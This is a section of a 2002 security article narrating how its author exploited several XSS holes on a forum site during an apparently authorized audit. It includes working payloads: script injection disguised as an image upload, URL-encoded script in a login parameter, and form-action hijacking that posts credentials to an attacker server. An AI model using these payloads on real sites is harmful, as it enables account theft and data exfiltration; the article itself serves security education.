Real World XSS

Author: David Zimmer <dzzie@yahoo.com>
Site: http://sandsprite.com/Sleuth
Article Downloads: small_xss_utilities.zip

Section 1 
          - Introduction
          - Prerequisites 
          - About the Article Downloads
          - Impacts (Attack Scenario)
          - Impact Summary
          
Section 2 - Methods of Injection, and filtering
          - Injection Points
          - Injection methods and filtering
          - XSS scripting tips and tricks
          
Section 3 - Inside the mind, mental walk along of a XSS hack

Section 4 - Conclusion
          

Inside the mind, mental walk along of a XSS hack




In this section I am going to document some of actual scenarios I have found in the wild and what could be done with them. In essence these are some of the experiences that made this paper possible. All of the holes I am going to document here were in a large forum / community type sight that shall remain anonymous. All of these tests were done legitimately with the blessing of the sites owner and were matters of testing as I conducted a security audit on his site. Every tester knows how monotonous churning through page source and repetitive tests can be, so I took it upon myself to play and experiment and see what I couldn’t squeeze out of some of these seemingly innocuous holes and tried to gauge the real impact of these forms of attack.

Before we get started with the details I will describe the web sight a little more. The site in question was a large forum type site. Users could login, browse other users articles and submissions as well as leave messages to each other on numerous messageboards. Each user also had an account modification section where they could update their stats as well as manage their submissions to the site.

The main site consisted of a template with search engine functionality as well as a ticker of the most recent articles submitted by users. This is a relatively large site with anywhere from 3-10 thousand users online at any given time.

As the audit progressed I soon found that by going to the user management interface I could embed img src scripts and other html in the author name field. Reflecting back on the layout of the site I knew that this would allow me to execute scripts on anyone who visited one of my submissions. I also knew that this would execute anytime my name turned up as a result from the site search functionality.

Now the gears start churning, hummm what can I do with this? Since I am the curious type (and mabey a touch mischievous) I decided it would be a worthy cause to play with the hole and try to gauge the actual impact. The first thing I wanted to determine is how popular of a cat I am ;) (Or in more professional terms, how often my pages were being viewed and the scope of the injection vector)

Since I could insert img tags this much could have easily been done just by inserting an img src=http://myip and then watching server logs, but since this is a cross sight scripting paper, and that is to boring, I decided to play with some other techniques.

Just for fun I though it would be cool to try to get use the img tag to try to inject a full script into the page. Of course this can be done inline with creative javascript, lots of semicolons and specially designed strings and functions as in the above example, but that is alot of work. Wouldn’t it be nicer to just be able to inject a whole script file and not have to worry about complex messy embedded commands? Of course it would.

So how do we get a hapless image tag to do this, and moreover how do we do it so that unsuspecting web surfers don’t notice a thing. Having the site we are auditing all of a sudden get wacked by a bunch of kids who notice the hole because we were playing with it would just be not good. So we will just have to be a little sly and a little careful.

If we inject a image to a non existent url, it will fire the onerror javascript event handler, but it will also leave that ugly little broken image placeholder in the document. Sure those raise little suspicion and are common place, but I still see it as evidence. So with this in mind we will img src a 1x1 pixel transparent gif image that will load seamlessly and be undetectable to browsers. Loading a successful image raises the onload event handler, here is where we can put our payload with a url such as this.

img src='http://valid address/clear.gif' onload='document.scripts(0).src="http://myserver/evilscript.js"'

Examining the above code you will see that instead of trying to embed some long complex nested javascript inline I chose just to set the script src of the first script on the web page to be my script. This makes the browser (IE6 anyway others untested) load my script and execute it. My EVIL script in this case was just a one liner, a simple

document.write('some innocous text')

In this way I get to play a little, I get to see who loads a page with my name on it and I coat it over so that they never know the difference. The text contained in the document.write code appears right inline in the page next to where ever the img src code executed.

I set up my smallserver to dish out the script file (a small web server package I made especially for playing with xss holes that logs directly to screen and is included in the support file zip.)

With the above in motion I went back to the site, logged in and changed my name to include the injection script, from the sight stats atop the page it appears that there were some 3000 potential victims.. err test subjects.. afoot.

I submit the data and then quickly hop to one of my articles to make sure all is working as planned. Sure enough up pops a request on my servers screen and there is my innocuous inline text. So far so good, now the waiting game has begun as I anxiously and nervously await the results.

Wait, wait, wait, hit !

This is just like fishing :)

Slowly request after request rolls in, I casually wade through the data I am collecting with a giggle noting the browser people are using, where about in the world they are from, and what search topics they had requested that had turned up my name. After about 5 minutes of data trolling I decided I had indulged my curiosity enough and was ready to move on. 5min collection yielded 20 hits, which doesn’t sound like a lot given that there are 3k plus people online, but it should also be noted that I only had 8 articles on the site out of hundreds of thousands. Had I been a little more daring I probably should have expanded the test a little to do some simple script tests to see what percentage of the user base I hit had been actually logged into the sight at the time. But that is borderline unethical so.

With that experience under my belt I got to thinking, given enough time and less morals I could have collected all kinds of stats on users, stolen account info, email addresses etc. (yes full login information and email addresses were held in the cookies of logged in users on this site)

Since morals being what they are, I instead shifted my attention to a bigger hack. I wasn’t satisfied that I could slowly trickle in info..I wanted INFO and I knew that it was out there 3k users online...humm how can I impact them all?

In the days to follow further examination of the sight revealed that in one of the asp interfaces I could inject scripts into the article name pane but it had to be done in 45 characters or less.

Again examining the layout of the sight to gauge the impact I found that as in the above example it would hit users who returned me as a result of a search. However this time if it was a new article submission that still appeared in the ticker my code would be output to every single user on the site at once and be on every single page they visited!

My heart thumped as my head swam in ideas of the things I could do. I could track users across pages, I could correlate email addresses to viewing preferences and topic searches. I could literally build a profile of the surfer and even do it in a personal way.

What marketing firm wouldn’t love those kinds of stats? A more malicious individual could also take other routes such as account theft, redirect surfers to other sights etc.. but since we have already covered the dangers and why you should be wary of XSS we wont dive into that again.

Ok, so if I can inject a script in 45 chars or less, thousands of users info will be at my fingertips. hummm.

<script src='http://geocities.com/dzzie/x.js'></script> = 55 characters

junk

Nosing around the sight some more, I remembered that it had upload functionality for both user documents, zips, and author images. User documents were always inserted into the sites template so weren’t usable for this. the Zip files were scanned and opened to make sure they didn’t contain any virii. This left us with an author image upload. Luckily after upload the 'picture' was just given a server defined name and stored to disk without being validated or resized as an image. Perfect :)

So I create my evilscript file and rename it somthing.jpg. I goto my user manager and upload it as my author info for my bios. Then I goto my bios page and snag the url and name the server gave my file

/images/778237.jpg

Just to double check it was still valid I fired up WebSleuth and made a raw http request for the resource. Sure enough it spit out my script file and no extra data.

going to craft my injection string I try on the fit of my new url

<script src="images/778237.jpg"></script> = 41 characters

Cool, I can just sneak in the script with room to spare.

Just to be thorough I go back and edit one of my old submissions with a simple safe script. Sure enough IE loads the script without a complaint of the extension and we are in business.

Soda in hand, interface pages bookmarked I set out for some more stat taking. I knew the test was going to work, and I knew the impact, but somehow that little kid in you just has to pop out and have his moment of fun, just to say you did it.

I submit a new article, I hop to my bookmarked page to edit the article (where the validation hole was), paste in my injection string and submit.

Now since the script resided on the server, I could not watch user stats roll in from requests of the script file itself. How then did I collect stats on the users on the sight?

Here is another thing worth understanding about cross sight scripting. Data collection methods. How did I not detail this above. Anyway, my script is executing on all of these random users machines from locations across the globe. How do I receive the data the scripts collect?

There are alot of ways to collect the data, you can collect it by watching server logs as we did in the first example.or you can also collect data by forcing the users to submit data to CGI scripts which neatly break down and process the data. The problem with both of these techniques though is that it requires some level of commitment on the attackers part to either reveal his own IP or to reveal one of his web hosting accounts.

Of course there are many anonymous ways as well. Submitting data to a rouge CGI mailer script, forcing the user to post to an anonymous messageboard or guestbook script, or even using an unsuspecting trojaned user as a data collector. In the end tracking these types of attacks can be very very tricky if not impossible if done right, but we aren’t going to get into all those possibilities now. For our application we are simply interested in what browser the users are using and what page they are on. Luckily both bits of information are standard browser information leaks given out with any request for a web resource. To keep the test as simple and non-damaging as possible I choose to just use a small javascript that would change the img src of one the documents images to be the url of a cgi script I had running on one of hosted accounts.

Another thing I had to consider in such a stunt was that I couldn’t use my own ip or server for two reasons. thousands of hits would QUICKLY flood my connection and could quite possible DOS me to the point I couldn’t keep up with the cgi data and I could probably be web wacked for quite a while not allowing me to change back the data to effectively "turn off" the onslaught.

Why web wack yourself if you don't need to right ;)

So, the script commands in the jpg file were this

document.images(0).src="http://myserver/cgi-bin/logit.pl"

My logit.pl script was a script that executed on the server. When it received a request it would just log the ip, useragent and referrer passed in the HTTP header to a database and would then output a 302 Document Moved Header which would automatically redirect the browser to an actual image file. Since every page on the site was served with the same template I knew the image I would be changing would always be the same, so I just redirected the url back to that image so they wouldn’t see even a broken image icon.

I am so considerate.

Had I been the nosey sort, I could have collected some real data on the surfers and used the javascript to do whatever and then append it to the query string of the img url. Had the data been to long to be passed in on a query string, then I could have used the javascript to dynamically write a hidden iframe to the parent document, written a simple form the window, filled in the elements and then posted it off to the server side script. No need to try to script across domains or worry about domain security models.

Ok changes made, script in place. I would give it about 20 seconds for data collection, not wanting to wack my hosted site or expose to many people, then I would change it back. and be off to reap the rewards of my collected data.

As I sat and contemplated, I decided there was no need to carry through to the end goal. I knew it would work and had proven all the steps to myself before. Not quite content to just pack up and go, I changed my injection script in the jpg file to a simple

document.write('some simple text for articlename')

Making the changes and watching the ticker scroll my little inconspicuous message and knowing that it was also scrolling away on 7k other machines across the net was enough to give me the satisfaction of the moment. I then went back and changed the article name to the same text I had used in the script and no one was any the wiser.

As my moment of victor waned and with it my perma grin of the private joke, I went back to examining the site. For the sake of brevity (to late now you say?) I am only going to include 2 more examples of XSS holes I found in this site, both of which demonstrate techniques and concepts it is good to be aware of.

The next hole I found was a login page. If you were on the site and tried to perform an action that required authentication as a user, it would redirect you from the page you requested to the login page passing the referrer page in the querystring. Since this referrer page was always handled internally it was assumed it was always a safe value. Not so safe :)

I could inject any script I wanted as its value in the querystring. This example is what I term event stealing. First, to discuss briefly, is how you could entice users to the login page. Isn’t the URL going to have a long querystring on it or the obvious <script src=></script> blocks ?

Do you recognize this as script blocks at a glance?

%3C%73%63%72%69%70%74%20%73%72%63%3D%62%6C%61%68%3E%3C%2F%73%63%72%69%70%74%3E

of course a fully encoded section of url is suspicious. So how about mixed encoding and then viewed in its natural habitat.

http://login.asp?lan=en%2021&count=100&exp=12&ref=%3Csc%72%69pt%20s%72c%3Db%6Cah%3E%3C%2Fsc%72%69p%74%3E

It doesn’t look so obvious now the url isn’t overly long alot of people just click anyway. If you can put link text as something similar they won’t even think twice. Anyway I digress lets not worry about user tricking and just assume they are there. Event stealing is when you replace an even they have setup in a page with your own commands.

For the example of a login page, Sure you can inject a script, but the page contains no data until they fill it in. So you have to wait. You could use a timer or some bogus logic but the best way to know when to snag the data is steal the event of form submission.

Actually you could steal the submit button press, which could fail because of validation routines, or you could just steal the onsubmit event of the form or even the unload event of the page. If you were to choose the onunload even of the page, you would be kinda stuck. The page is closing, you don’t have time to change an img src and would be force to open up a new pop up window. This is way to obvious. This leaves us with two approaches either

document.forms(0).onsubmit = ourfunction

or you can just steal the whole form submission and make it submit to your own server side script

document.forms(0).action ="http://myserver/myscript.asp"

then redirected them back to the proper script and hopefully they wont notice.

The last Example we will dive into is a SSL encrypted page example. SSL and high encryption just seems to make developers and surfers feel so warm and fuzzy inside. Haha you cant get meeeee.

*cough*cough*

This is a bit of myth. Sure the data transfers are sound, but if an SSL encrypted page has a cross sight scripting hole all of that transport layer security is blown right out of the water!

Same sight, different page. We are in an account management page. It is SSL encrypted because it contains information on credit accounts and payment options. Since it is SSL the developer felt safe including plaintext username and password information in the form. The problem is that the server script took a querystring argument from a previous page and echoed it directly to the page source with no filtering. Again we have a 45 character input limit.

Now because the page is SSL encrypted, even if we could slip in a script src= to our server, the browser would complain that the page contains unsecure items. We don’t want this. We want the surfer to feel warm and fuzzy and we want to hide in our dark alcoves.

The answer to this conundrum is again a script file embedded on the server somehow. Again the author image upload to the rescue! Yay author Image!

Anyway, glee aside, same trick to execute script, same content length bypass, same tricks to steal data from the page (this time juicy data though), only difference is that SSL was there...and it didn’t stop us one bit. Since the script was coming from the same server, no security flag was raised and the script was assumed as secure.

How does that saying go? Bingo was his namo ?

The last trick I want to bring up is the idea of leveraging XSS attacks. In the above example I had an active attack that could lead to financial information. Since it was an attack where a user had to click on a click or perform some other action to request the page with the crafted url there is a chance of being caught in our evil attempts. That is no fun. So now we ask ourselves, how can we force the user to perform those actions so they don’t realize it is happening? There is a simple answer to this and it is termed XSS Leveraging. Lets indulge some thought and combine some of the holes we have found on this site.

I can inject scripts that get stored in the database and output to unsuspecting users. So I can force users into any action I want. Now lets assume that the cookies didn’t contain all the login information and we couldn’t just steal accounts that way. Lets assume we can just tell from the cookie if they are logged in or not. So, we embed our script src (another nice thing about using a script src to embed the script commands from a local server is that you know exactly who got hit and you can change the script at anytime and don’t have to alter the database to change the code or turn it off). Our next step is top create a simple script. First look at the cookie, if the user is logged in then we write an iframe to the document with style attributes to either set it to hidden or to position it off screen. We then navigate this iframe to the crafted url. As the page navigates IE may pop up its "some items on this page are secure" or whatever dialogue but people generally feel safer with ssl so they probably would click ok. Also there are alot of instances where a regular http:// request for a page that was meant to be only displayed over ssl will work, again I digress.. So lets say we have our iframe loaded with the prize, now it is a simple matter of grabbing the form elements we want and then submit the data to our server. Since all of our script is executing from the same domain we do not have any problems with the cross domain security model and the prize is ours.



Next Section



Copyright David Zimmer 2002